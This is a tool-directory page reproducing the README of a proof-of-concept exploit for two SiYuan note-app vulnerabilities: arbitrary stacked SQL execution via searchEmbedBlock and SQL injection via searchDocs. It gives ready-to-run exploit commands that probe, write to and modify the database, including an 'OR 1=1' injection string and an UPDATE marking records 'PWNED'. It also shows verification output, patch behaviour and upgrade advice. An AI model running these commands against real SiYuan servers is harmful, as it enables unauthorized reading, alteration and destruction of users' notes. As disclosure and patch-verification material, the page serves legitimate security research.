Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/boreas37/cve-2026-69084-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubboreas37/cve-2026-69084-poc

CVE-2026-69084-PoC

CVE-2026-69084/69085 — SiYuan arbitrary SQL execution via searchEmbedBlock + searchDocs SQLi (CVSS 9.9). Verified on v3.7.2, rejected on v3.7.3.

View Repository
1422 months agoNot yet reviewed
Share

CVE-2026-69084 / CVE-2026-69085 — SiYuan Arbitrary SQL Execution & SQLi

CVE-2026-69084: Arbitrary SQL Execution via /api/search/searchEmbedBlock CVE-2026-69085: SQL Injection via /api/filetree/searchDocs CVSS 9.9 (Critical) each · CWE-89 · SiYuan <= v3.7.2 (fixed in v3.7.3) Published 2026-08-03 · no public PoC at publication time

TL;DR

SiYuan (open-source note-taking app, github.com/siyuan-note/siyuan) exposes two API endpoints that hand attacker-controlled SQL to its SQLite database:

CVE-2026-69084 — /api/search/searchEmbedBlock: The stmt parameter is passed verbatim to the main read-write siyuan.db handle with no single-statement or read-only restriction. The SQLite driver executes stacked (semicolon-separated) statements, so an attacker can CREATE / INSERT / UPDATE / DELETE / DROP anything in the database. Gated only by CheckAuth — reachable with a publish RoleReader token, or anonymously when publish mode has Publish.Auth.Enable=false.

CVE-2026-69085 — /api/filetree/searchDocs: The keyword parameter is concatenated directly into SQL with no escaping or parameter binding.

Both were fixed in v3.7.3 via sql.CheckSingleStatement() + sql.CheckReadonlyStatementInBox().

Exploit

# 1. Non-destructive probe (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check

# 2. DB-write proof: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof

# 3. Run arbitrary SQL (stacked statements supported)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"

# 4. searchDocs SQLi (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"

If the instance runs with publish mode enabled and auth disabled (Publish.Auth.Enable=false), no --auth is needed at all.

Verification (real SiYuan v3.7.2 in Docker)

$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL accepted (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL accepted (blocks: 0)
[+] DB-WRITE PROOF COMPLETE — pwn_69084 table + 31337 row in siyuan.db

# On the host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337

Patched v3.7.3 rejects the same requests:

  • SELECT 1; CREATE TABLE x → "SQL statement is not single"
  • UPDATE blocks ... → "SQL statement is not a read-only query"
  • single SELECT still works (legit functionality preserved)

PoC internals

The Python PoC performs a session login (/api/system/loginAuth) to obtain the auth cookie, then POSTs to the vulnerable endpoint. Tested against b3log/siyuan:v3.7.2 (vulnerable) and b3log/siyuan:v3.7.3 (patched).

Remediation

  • Upgrade SiYuan to v3.7.3 or later.
  • If you expose SiYuan's publish mode, keep Publish.Auth.Enable=true and use strong RoleReader tokens.

References

  • GHSA-p2x7-4c4p-8wh6 (69084)
  • GHSA-5w4j-hchp-r332 (69085)
  • NVD — CVE-2026-69084
  • NVD — CVE-2026-69085
  • VulnCheck advisory

Disclaimer

For authorized security testing and educational purposes only.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    441
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    264

Explore all tools

Browse our collection of tools

View all tools →